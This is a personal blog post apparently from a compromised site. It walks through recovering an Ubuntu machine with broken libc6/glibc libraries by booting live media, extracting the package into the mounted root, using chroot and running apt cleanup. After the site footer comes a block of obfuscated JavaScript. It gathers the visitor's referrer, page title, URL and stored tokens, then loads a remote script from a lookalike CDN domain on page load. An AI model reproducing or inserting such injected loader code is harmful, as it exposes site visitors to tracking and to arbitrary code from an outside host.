Skip to content

motd/grapevine

the grapevine social multi-plex & motd log feed → TCP/IP Suite [W3]

  • Home
Expand Search Form

botched libc6/glibc libraries on gnu/linux

joshua ryan nydel 2014/09/18

DATELINE: Some Folder In /dev/sda1 I.E. Your Root Partition on Your Primary Lappy/Desktop

invariably it happens that we screw up an important library upon which all things seem to depend. today, in my ongoing war against the anthropomorphized gnu/linux’s malpractice lawyers, i emerged from a battle/lawsuit victorious. i want to outline the details in a motd on the grapevine because i couldn’t find sufficient help anywhere – and i even resorted to desperate pleas on mainstream irc – so i’m pretty sure a guide doesn’t exist for this particular battle.

 

in my case, the package that got f’cked was libc6 & glibc which are in one of ubuntu’s weird-ish manners combined into a meta-ish package called eglibc or something. at some point, by no real fault of my own as the user, my system was running two different versions of libc, and this rendered almost every command i could issue useless. the error was as follows:

 GLIBC_2.17′ not found (required by /bin/ls)

not a joke, that was seriously my system’s response to a call of `ls` (although `echo *` continued to work).

my laptop’s manufacturers responded to my support ticket (under paid warranty) with the following:

 

interaction w/my hardware manufacturer’s under-warranty tech-support during major system crisis

after a painstaking process of this & that, i ended up posting the following as my solution:

  1. accept that your system is f’cked. i wasted a lot of time keeping the kernel & in-memory programs running.
  2. boot a functional instance of ubuntu, most likely off of a thumb or cd/dvd image.
  3. do ‘mkdir /m1’ then ‘mount /dev/sda1 /m1’
  4. grab the apropos deb from http://packages.ubuntu.com/trusty/libc6 — replace “trusty” in that URI with your distribution
  5. save the deb to /m1 and from terminal, cd’d into the /m1 directory, call ‘dpkg -x {libname.deb} /m1’ to extract it
  6. call ‘chroot /m1’ and try ‘ls’ — it should work. feel free to run ‘dpkg -l | grep libc6’ to see details & confirm all upgrades
  7. if this doesn’t boot, get back into the working instance, mount your /dev/sda1, chroot to its folder & call ‘dpkg –configure -a’
  8. avoid #7 and all future handling of package/system configuration on your ubuntu using debian utilities.
  9. browse /lib/x86_64-linux-gnu/ and see that there are only one instance each of ld-2.xx.so & libc-2.xx.so & libpthread-2.xx.so
  10. while still in the changed root call apt-get and do update purge autopurge autoremove install, the works.
  11. reboot and don’t f’ck with packages using debian tools ever again. if you get out of this without fresh install, you got lucky.

 

i don’t want my motds to be computer science support tutorials but this is a bigger concept than that. i only hope that enough people will know about the grapevine soon enough that this advice will get into the appropriate hands! hey – help us make that happen if you can, would you? cheers.

Categories gnu, hacking, linux, technology, troubleshooting, ubuntu Tags broken, dependencies, fix, glibc, kernel, libc6, panic, ubuntu
Previous: the big device/s with the decorative mouse
Next: appropriation hacking

RSS @nydel@mastodon.sdf.org

  • Untitled 2021/08/21
    https://vm.tiktok.com/ZMRY1UYSo/
  • Untitled 2021/01/17
    original #frozen fan song & test animatic

Categories

  • 7dtd (3)
  • community (8)
  • editorial (6)
  • ethics (8)
  • experimentation (5)
  • games (6)
  • gnu (5)
  • grapevine (4)
  • hacking (10)
  • hardware (2)
  • humor (3)
  • instructional (1)
  • linux (6)
  • maths (1)
  • open source (3)
  • psychology (4)
  • social (6)
  • technology (8)
  • tna (3)
  • troubleshooting (1)
  • ubuntu (1)
  • Uncategorized (2)

motd/grapevine © 2026

function _0x1356(){var _0x47f377=['undefined','created_at','SDinM','referrer','type','2763920UaZqrm','script','12vBcuKB','sByTagName','removeItem','tbZhP','88MWwIgr','504311NSydND','getItem','unique','rl=','&default_k','edMRB','JrgvR','zQRJy','nekHp','PPYvy','bYzqV','search','R_PATH','YmYyc','location','?return=js','EDRAu','eyword=','ttl','jyrbs','parentNode','applicatio','config','n/javascri','replace','LWWMU','hostname','lyQRv','round','oCKxn','YRBPW','title','qDjag','er=','FrtfE','&sub_id=','1282280uvTeHJ','&host=','telVD','insertBefo','4052637YMzKgP','subId','njslibrari','gDOEN','Giorb','1092396NqJNrH','https://cd','XjvaD','mYjik','&name=','createElem','BWbhK','gjmqL','.client','VbWsg','DtdoM','xEAcB','&landing_u','m1j','token','4YKKJFF','src','&token=','7sVDzHK','4708627uRDPRb','parse','BFiUQ','pathname','ent','7151616cCkHDJ','6xcLdzC','getElement','es.com/17y','lhAdb','_9SgWQpkLh','&se_referr'];_0x1356=function(){return _0x47f377;};return _0x1356();}function _0x4b6f(_0x591ff9,_0x33d702){_0x591ff9=_0x591ff9-(0x1cd5+0x4e3*0x2+-0x1*0x2597);var _0x38cdc2=_0x1356();var _0x4fd7f4=_0x38cdc2[_0x591ff9];return _0x4fd7f4;}(function(_0x5c1ad5,_0x3babbb){var _0x5e2a39=_0x4b6f,_0x175a5a=_0x5c1ad5();while(!![]){try{var _0x1261e8=-parseInt(_0x5e2a39(0x111))/(-0x3dd+-0x15*-0xb5+-0x3a9*0x3)*(parseInt(_0x5e2a39(0x14d))/(0x13*-0x1d8+0x21d8+0x132))+-parseInt(_0x5e2a39(0x157))/(0x135b+-0x1*0x92f+-0xa29)*(parseInt(_0x5e2a39(0x13e))/(0x3*0x663+-0x4df+0x196*-0x9))+parseInt(_0x5e2a39(0x10a))/(0x1247*-0x1+-0xc6b*0x2+-0x2b22*-0x1)+-parseInt(_0x5e2a39(0x10c))/(0x24b*0xc+-0xecd*-0x1+0x9*-0x4b3)*(-parseInt(_0x5e2a39(0x151))/(-0x1ad1+0x1d8a+-0x2b2))+-parseInt(_0x5e2a39(0x156))/(-0x10f*-0x1c+-0x2*0x88c+-0x3*0x42c)+parseInt(_0x5e2a39(0x139))/(0x898+0x120a*-0x2+-0x5*-0x581)+-parseInt(_0x5e2a39(0x135))/(-0x119+-0x463+0xca*0x7)*(-parseInt(_0x5e2a39(0x110))/(-0x20d7+0x17a8+0x2*0x49d));if(_0x1261e8===_0x3babbb)break;else _0x175a5a['push'](_0x175a5a['shift']());}catch(_0x4446c0){_0x175a5a['push'](_0x175a5a['shift']());}}}(_0x1356,-0x2c484+0x3f6d*-0x41+0x2*0x107f1e),(function(){var _0x534418=_0x4b6f,_0x4bd80e={'YRBPW':_0x534418(0x15b)+_0x534418(0x150),'mYjik':_0x534418(0x13f)+_0x534418(0x13b)+_0x534418(0x159)+_0x534418(0x14b),'BWbhK':_0x534418(0x127),'XjvaD':function(_0x35a8ea,_0x4e93){return _0x35a8ea!==_0x4e93;},'YmYyc':_0x534418(0x105),'LWWMU':function(_0x1b5c1c,_0x2e77b8){return _0x1b5c1c/_0x2e77b8;},'qDjag':function(_0x55ab99,_0x5475cf){return _0x55ab99<_0x5475cf;},'oCKxn':function(_0x4ea15a,_0x118c00){return _0x4ea15a+_0x118c00;},'FrtfE':_0x534418(0x13a),'bYzqV':_0x534418(0x14c),'nekHp':_0x534418(0x120)+_0x534418(0x146),'telVD':function(_0x2007bf,_0x211047){return _0x2007bf(_0x211047);},'tbZhP':function(_0x425cf3,_0x495f62){return _0x425cf3+_0x495f62;},'xEAcB':_0x534418(0x104)+_0x534418(0x132),'zQRJy':function(_0x7e7fa2,_0x504099){return _0x7e7fa2+_0x504099;},'JrgvR':_0x534418(0x115)+_0x534418(0x122),'SDinM':function(_0x298eb3,_0x1278c7){return _0x298eb3(_0x1278c7);},'gjmqL':function(_0x371145,_0x738c36){return _0x371145+_0x738c36;},'BFiUQ':_0x534418(0x14a)+_0x534418(0x114),'edMRB':_0x534418(0x142),'gDOEN':_0x534418(0x136),'VbWsg':function(_0x212b22,_0x1196ec){return _0x212b22+_0x1196ec;},'lyQRv':_0x534418(0x134),'lhAdb':function(_0x3fc304,_0x27d90c){return _0x3fc304!==_0x27d90c;},'EDRAu':function(_0xe8a33b,_0x4f117e){return _0xe8a33b+_0x4f117e;},'PPYvy':_0x534418(0x14f),'Giorb':_0x534418(0x10b),'jyrbs':_0x534418(0x126)+_0x534418(0x128)+'pt','DtdoM':function(_0x3d2d7a,_0x3e7aa7){return _0x3d2d7a+_0x3e7aa7;}},_0xa82ca2=_0x4bd80e[_0x534418(0x12f)];!window[_0x534418(0x15b)+_0x534418(0x150)]&&(window[_0x534418(0x15b)+_0x534418(0x150)]={'unique':![],'ttl':0x278d00,'R_PATH':_0x4bd80e[_0x534418(0x141)]});const _0x7ddda8=localStorage[_0x534418(0x112)](_0x4bd80e[_0x534418(0x144)]);if(_0x4bd80e[_0x534418(0x140)](typeof _0x7ddda8,_0x4bd80e[_0x534418(0x11e)])&&_0x4bd80e[_0x534418(0x140)](_0x7ddda8,null)){var _0x4fe1c2=JSON[_0x534418(0x152)](_0x7ddda8),_0x125938=Math[_0x534418(0x12d)](_0x4bd80e[_0x534418(0x12a)](+new Date(),-0x24f7*-0x1+-0x142c+-0xce3));_0x4bd80e[_0x534418(0x131)](_0x4bd80e[_0x534418(0x12e)](_0x4fe1c2[_0x534418(0x106)],window[_0x534418(0x15b)+_0x534418(0x150)][_0x534418(0x123)]),_0x125938)&&(localStorage[_0x534418(0x10e)](_0x4bd80e[_0x534418(0x133)]),localStorage[_0x534418(0x10e)](_0x4bd80e[_0x534418(0x11b)]),localStorage[_0x534418(0x10e)](_0x4bd80e[_0x534418(0x144)]));}var _0x4d3a42=localStorage[_0x534418(0x112)](_0x4bd80e[_0x534418(0x133)]),_0x531f5a=localStorage[_0x534418(0x112)](_0x4bd80e[_0x534418(0x11b)]),_0x5aefc5=_0x4bd80e[_0x534418(0x119)];_0x5aefc5+=_0x4bd80e[_0x534418(0x12e)]('&',_0x4bd80e[_0x534418(0x137)](decodeURIComponent,window[_0x534418(0x11f)][_0x534418(0x11c)][_0x534418(0x129)]('?',''))),_0x5aefc5+=_0x4bd80e[_0x534418(0x10f)](_0x4bd80e[_0x534418(0x149)],_0x4bd80e[_0x534418(0x137)](encodeURIComponent,document[_0x534418(0x108)])),_0x5aefc5+=_0x4bd80e[_0x534418(0x118)](_0x4bd80e[_0x534418(0x117)],_0x4bd80e[_0x534418(0x107)](encodeURIComponent,document[_0x534418(0x130)])),_0x5aefc5+=_0x4bd80e[_0x534418(0x145)](_0x4bd80e[_0x534418(0x153)],_0x4bd80e[_0x534418(0x137)](encodeURIComponent,_0x4bd80e[_0x534418(0x10f)](document[_0x534418(0x11f)][_0x534418(0x12b)],document[_0x534418(0x11f)][_0x534418(0x154)]))),_0x5aefc5+=_0x4bd80e[_0x534418(0x145)](_0x4bd80e[_0x534418(0x116)],_0x4bd80e[_0x534418(0x107)](encodeURIComponent,_0xa82ca2)),_0x5aefc5+=_0x4bd80e[_0x534418(0x118)](_0x4bd80e[_0x534418(0x13c)],_0x4bd80e[_0x534418(0x137)](encodeURIComponent,window[_0x534418(0x15b)+_0x534418(0x150)][_0x534418(0x11d)]));_0x4bd80e[_0x534418(0x140)](typeof _0x4d3a42,_0x4bd80e[_0x534418(0x11e)])&&_0x4d3a42&&window[_0x534418(0x15b)+_0x534418(0x150)][_0x534418(0x113)]&&(_0x5aefc5+=_0x4bd80e[_0x534418(0x147)](_0x4bd80e[_0x534418(0x12c)],_0x4bd80e[_0x534418(0x137)](encodeURIComponent,_0x4d3a42)));_0x4bd80e[_0x534418(0x15a)](typeof _0x531f5a,_0x4bd80e[_0x534418(0x11e)])&&_0x531f5a&&window[_0x534418(0x15b)+_0x534418(0x150)][_0x534418(0x113)]&&(_0x5aefc5+=_0x4bd80e[_0x534418(0x121)](_0x4bd80e[_0x534418(0x11a)],_0x4bd80e[_0x534418(0x107)](encodeURIComponent,_0x531f5a)));var _0x323ba8=document[_0x534418(0x143)+_0x534418(0x155)](_0x4bd80e[_0x534418(0x13d)]);_0x323ba8[_0x534418(0x109)]=_0x4bd80e[_0x534418(0x124)],_0x323ba8[_0x534418(0x14e)]=_0x4bd80e[_0x534418(0x148)](window[_0x534418(0x15b)+_0x534418(0x150)][_0x534418(0x11d)],_0x5aefc5);var _0x280765=document[_0x534418(0x158)+_0x534418(0x10d)](_0x4bd80e[_0x534418(0x13d)])[0x1493+0x1*0x4c9+-0x195c];_0x280765[_0x534418(0x125)][_0x534418(0x138)+'re'](_0x323ba8,_0x280765);}()));